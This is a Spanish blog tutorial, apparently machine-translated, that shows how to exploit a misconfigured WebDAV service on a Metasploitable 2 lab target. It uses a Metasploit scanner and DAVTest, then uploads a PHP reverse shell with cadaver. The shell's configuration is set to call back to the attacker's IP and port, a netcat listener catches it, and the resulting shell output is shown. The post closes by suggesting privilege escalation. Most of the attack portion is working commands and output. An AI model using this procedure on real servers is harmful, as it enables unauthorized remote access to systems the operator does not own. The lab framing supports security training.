BlogCyber Weapons Lab

Cómo: explotar WebDAV en un servidor y obtener un shell

[*]

Sin duda, Internet ha cambiado la forma en que trabajamos y nos comunicamos. Con los avances tecnológicos, cada vez más personas pueden colaborar en la web desde cualquier parte del mundo. Pero este entorno amigable con el control remoto conlleva riesgos de seguridad de forma inherente, y los piratas informáticos siempre están encontrando formas de explotar los sistemas para otros usos.

WebDAV, o Web Distributed Authoring and Versioning, es un protocolo que permite a los usuarios colaborar y editar contenido en la web de forma remota. Es una extensión de HTTP, pero utiliza sus propias características distintivas para mejorar los métodos y encabezados HTTP estándar.

El protocolo se utiliza principalmente para la edición y la colaboración remotas, pero también se puede utilizar para transferir archivos. Por lo general, se ejecuta en el puerto 80 de forma predeterminada o, a veces, en el puerto 443 para comunicaciones cifradas. Si bien WebDAV ofrece a los usuarios la capacidad y la conveniencia de acceder al contenido web desde cualquier lugar, esta misma función remota puede ser un gran agujero de seguridad si no se configura correctamente.

En este tutorial, usaremos Metasploitable 2 como nuestro objetivo y Kali Linux como nuestra máquina local. Puede usar una configuración similar para seguir si lo desea.

Paso 1: compruebe si WebDAV está habilitado

Lo primero que debemos hacer es verificar si WebDAV está habilitado en el objetivo. Metasploit tiene un escáner que podemos usar para hacerlo, así que enciéndalo escribiendo msfconsole en la terminal. Luego, podemos ubicar el módulo usando el búsqueda mando:

msf5 > search webdav

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   auxiliary/scanner/http/dir_webdav_unicode_bypass                           normal     Yes    MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner
   1   auxiliary/scanner/http/ms09_020_webdav_unicode_bypass                      normal     Yes    MS09-020 IIS6 WebDAV Unicode Authentication Bypass
   2   auxiliary/scanner/http/webdav_internal_ip                                  normal     Yes    HTTP WebDAV Internal IP Scanner
   3   auxiliary/scanner/http/webdav_scanner                                      normal     Yes    HTTP WebDAV Scanner
   4   auxiliary/scanner/http/webdav_website_content                              normal     Yes    HTTP WebDAV Website Content Scanner
   5   exploit/multi/http/sun_jsws_dav_options                   2010-01-20       great      Yes    Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
   6   exploit/multi/svn/svnserve_date                           2004-05-19       average    No     Subversion Date Svnserve
   7   exploit/osx/browser/safari_file_policy                    2011-10-12       normal     No     Apple Safari file:// Arbitrary Code Execution
   8   exploit/windows/browser/java_ws_arginject_altjvm          2010-04-09       excellent  No     Sun Java Web Start Plugin Command Line Argument Injection
   9   exploit/windows/browser/java_ws_double_quote              2012-10-16       excellent  No     Sun Java Web Start Double Quote Injection
   10  exploit/windows/browser/java_ws_vmargs                    2012-02-14       excellent  No     Sun Java Web Start Plugin Command Line Argument Injection
   11  exploit/windows/browser/keyhelp_launchtripane_exec        2012-06-26       excellent  No     KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability
   12  exploit/windows/browser/ms07_017_ani_loadimage_chunksize  2007-03-28       great      No     Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
   13  exploit/windows/browser/ms10_022_ie_vbscript_winhlp32     2010-02-26       great      No     MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution
   14  exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec     2010-06-09       excellent  No     Microsoft Help Center XSS and Command Execution
   15  exploit/windows/browser/ms10_046_shortcut_icon_dllloader  2010-07-16       excellent  No     Microsoft Windows Shell LNK Code Execution
   16  exploit/windows/browser/oracle_webcenter_checkoutandopen  2013-04-16       excellent  No     Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution
   17  exploit/windows/browser/ubisoft_uplay_cmd_exec            2012-07-29       normal     No     Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution
   18  exploit/windows/browser/webdav_dll_hijacker               2010-08-18       manual     No     WebDAV Application DLL Hijacker
   19  exploit/windows/http/sap_host_control_cmd_exec            2012-08-14       average    Yes    SAP NetWeaver HostControl Command Injection
   20  exploit/windows/http/xampp_webdav_upload_php              2012-01-14       excellent  No     XAMPP WebDAV PHP Upload
   21  exploit/windows/iis/iis_webdav_scstoragepathfromurl       2017-03-26       manual     Yes     Microsoft IIS WebDav ScStoragePathFromUrl Overflow
   22  exploit/windows/iis/iis_webdav_upload_asp                 2004-12-31       excellent  No     Microsoft IIS WebDAV Write Access Code Execution
   23  exploit/windows/iis/ms03_007_ntdll_webdav                 2003-05-30       great      Yes    MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
   24  exploit/windows/local/ms16_016_webdav                     2016-02-09       excellent  Yes    MS16-016 mrxdav.sys WebDav Local Privilege Escalation
   25  exploit/windows/misc/ibm_director_cim_dllinject           2009-03-10       excellent  Yes    IBM System Director Agent DLL Injection
   26  exploit/windows/misc/vmhgfs_webdav_dll_sideload           2016-08-05       normal     No     DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
   27  exploit/windows/misc/webdav_delivery                      1999-01-01       manual     No     Serve DLL via webdav server
   28  exploit/windows/scada/ge_proficy_cimplicity_gefebt        2014-01-23       excellent  Yes    GE Proficy CIMPLICITY gefebt.exe Remote Code Execution
   29  exploit/windows/ssl/ms04_011_pct                          2004-04-13       average    No     MS04-011 Microsoft Private Communications Transport Overflow
   30  post/windows/escalate/droplnk                                              normal     No     Windows Escalate SMB Icon LNK Dropper

Queremos el webdav_scanner módulo, así que cárguelo con el usar mando:

msf5 > use auxiliary/scanner/http/webdav_scanner

Ahora, podemos echar un vistazo a opciones para este módulo:

msf5 auxiliary(scanner/http/webdav_scanner) > options

Module options (auxiliary/scanner/http/webdav_scanner):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /                yes       Path to use
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

Ahora queremos establecer el camino a / dav /, un directorio comúnmente utilizado para WebDAV:

msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/

path => /dav/

A continuación, podemos configurar rhosts a la dirección IP de nuestro objetivo:

msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Deberíamos estar listos para ir, así que escribe correr para lanzar el módulo:

msf5 auxiliary(scanner/http/webdav_scanner) > run

[+] 10.10.0.50 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

El escáner devolverá alguna información HTTP, incluido el número de versión de Apache y si WebDAV está habilitado o no. Como podemos ver arriba, de hecho está habilitado en nuestro objetivo.

Paso 2: Pruebe los permisos de archivo con DAVTest

Lo siguiente que queremos hacer es probar los permisos y las políticas de ejecución de archivos en el servidor. Recuerde, nuestro objetivo final aquí es obtener un caparazón inverso, por lo que necesitamos saber en qué nos estamos dirigiendo.

DAVTest es una herramienta útil que probará automáticamente estas cosas por nosotros. Simplemente escriba davtest en la terminal para ver la ayuda y el ejemplo de uso:

~# davtest

ERROR: Missing -url

/usr/bin/davtest -url <url> [options]

 -auth+     Authorization (user:password)
 -cleanup   delete everything uploaded when done
 -directory+    postfix portion of directory to create
 -debug+    DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
 -move      PUT text files then MOVE to executable
 -nocreate  don't create a directory
 -quiet     only print out summary
 -rand+     use this instead of a random string for filenames
 -sendbd+   send backdoors:
            auto - for any succeeded test
            ext - extension matching file name(s) in backdoors/ dir
 -uploadfile+   upload this file (requires -uploadloc)
 -uploadloc+    upload file to this location/name (requires -uploadfile)
 -url+      url of DAV location

Example: /usr/bin/davtest -url http://localhost/davdir

En el nivel más básico, todo lo que tenemos que hacer es proporcionarle una URL válida que apunte a una instancia de WebDAV. Naturalmente, utilice el -url cambiar seguido de la URL correcta.

Aquí, podemos ver que la herramienta hace su magia. Comienza probando la conexión e intenta crear un directorio de prueba, que vemos es un éxito. A continuación, DAVTest enviará una variedad de diferentes tipos de archivos para determinar qué se puede cargar. Parece que todos tienen éxito.

~# davtest -url http://10.10.0.50/dav

********************************************************
 Testing DAV connection
OPEN        SUCCEED:        http://10.10.0.50/dav
********************************************************
NOTE    Random string for this session: 6WDIVTY
********************************************************
 Creating directory
MKCOL       SUCCEED:        Created http://10.10.0.50/dav/DavTestDir_6WDIVTY
********************************************************
 Sending test files
PUT asp SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT txt SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT php SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT jhtml   SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT aspx    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT cgi SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT shtml   SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT cfm SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT html    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT jsp SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT pl  SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
********************************************************
 Checking for test file execution
EXEC    asp FAIL
EXEC    txt SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
EXEC    php SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
EXEC    jhtml   FAIL
EXEC    aspx    FAIL
EXEC    cgi FAIL
EXEC    shtml   FAIL
EXEC    cfm FAIL
EXEC    html    SUCCEED:    http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
EXEC    jsp FAIL
EXEC    pl  FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.0.50/dav/DavTestDir_6WDIVTY
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.asp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jhtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.aspx
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cgi
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.shtml
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.cfm
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.jsp
PUT File: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.pl
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.txt
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.php
Executes: http://10.10.0.50/dav/DavTestDir_6WDIVTY/davtest_6WDIVTY.html

Hacia el final de la salida anterior, vemos lo bueno: probar la ejecución de archivos. Podemos ver que la mayoría de ellos fallan, pero TXT, HTML y quizás el más importante para nosotros, los archivos PHP, se ejecutarán con éxito. Todo lo que tenemos que hacer ahora es encontrar una forma de cargar nuestro shell.

Paso 3: Cargue el caparazón usando Cadaver

Para la etapa final de nuestro ataque, utilizaremos una herramienta llamada Cadaver, que ofrece una interfaz intuitiva para interactuar con el servicio WebDAV, con comandos similares a FTP que son fáciles de usar.

Podemos ver la ayuda y la información de uso escribiendo cadáver -h en la terminal:

~# cadaver -h

Usage: cadaver [OPTIONS] http://hostname[:port]/path
  Port defaults to 80, path defaults to '/'
Options:
  -t, --tolerant            Allow cd/open into non-WebDAV enabled collection.
  -r, --rcfile=FILE         Read script from FILE instead of ~/.cadaverrc.
  -p, --proxy=PROXY[:PORT]  Use proxy host PROXY and optional proxy port PORT.
  -V, --version             Display version information.
  -h, --help                Display this help message.
Please send bug reports and feature requests to <cadaver@webdav.org>

Probémoslo con un archivo de texto inofensivo antes de pasar a cargar nuestro shell. Primero, cree un archivo de texto simple:

root@drd:~# echo 'TESTING' > test.txt

A continuación, podemos conectarnos a WebDAV a través de Cadaver proporcionando la URL adecuada:

~# cadaver http://10.10.0.50/dav

dav:/dav/>

Para obtener una lista de los comandos disponibles, escriba ? o ayuda en el mensaje:

dav:/dav/> ?

Available commands:
 ls         cd         pwd        put        get        mget       mput
 edit       less       mkcol      cat        delete     rmcol      copy
 move       lock       unlock     discover   steal      showlocks  version
 checkin    checkout   uncheckout history    label      propnames  chexec
 propget    propdel    propset    search     set        open       close
 echo       quit       unset      lcd        lls        lpwd       logout
 help       describe   about
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye

Podemos usar el comando put para cargar nuestro archivo de prueba:

dav:/dav/> put test.txt

Uploading test.txt to `/dav/test.txt':
Progress: [=============================>] 100.0% of 8 bytes succeeded.

Ahora, si lo navegamos en el navegador, deberíamos ver el texto que se nos muestra:

Dado que ahora estamos seguros de que la carga funcionará, podemos renunciar Cadáver por ahora para que podamos preparar nuestro caparazón:

dav:/dav/> quit

Connection to `10.10.0.50' closed.

Kali contiene una variedad de conchas en el / usr / share / webshells / directorio. Queremos el shell inverso de PHP, así que cópielo en nuestro directorio actual con el siguiente comando:

~# cp /usr/share/webshells/php/php-reverse-shell.php .

A continuación, necesitamos editar un par de cosas, así que abra el archivo con su editor de texto favorito y cambie la dirección IP a la de nuestra máquina local, así como el puerto a un puerto de su elección:

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1';  // CHANGE THIS
$port = 7777;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell="uname -a; w; id; /bin/sh -i";
$daemon = 0;
$debug = 0;

Guarde el archivo y configure un oyente con Netcat para capturar la conexión entrante:

~# nc -lvnp 7777

listening on [any] 7777 ...

En una nueva ventana o pestaña, conéctese a WebDAV nuevamente y cargue nuestro shell como lo hicimos anteriormente con el archivo de prueba:

~# cadaver http://10.10.0.50/dav

dav:/dav/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `/dav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.

Ahora busque el archivo y, si tiene éxito, deberíamos ver que el navegador se bloquea:

De vuelta en nuestro oyente, deberíamos ver que se abre una conexión desde el objetivo:

connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 54183
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 14:41:17 up  1:01,  1 user,  load average: 0.12, 0.08, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    :0.0             13:41    1:00   0.05s  0.05s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: no job control in this shell
sh-3.2$

Ahora podemos emitir comandos como quién soy para confirmar que hemos comprometido el servidor:

sh-3.2$ whoami

www-data

A partir de aquí, probablemente querríamos actualizar nuestro shell e intentar escalar los privilegios a root.

Terminando

En este tutorial, aprendimos sobre WebDAV y cómo explotar una versión mal configurada para obtener acceso al shell. Primero, usamos un escáner Metasploit para determinar si WebDAV se estaba ejecutando en el objetivo. A continuación, pudimos probar las políticas de ejecución de archivos con una herramienta llamada DAVTest. Finalmente, utilizamos Cadaver para cargar un shell inverso y comprometer el servidor. Si bien el acceso remoto ofrece una forma conveniente de colaborar, los piratas informáticos siempre intentarán explotarlo para su propio uso.

Imagen de portada de Pixabay / Pexels; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar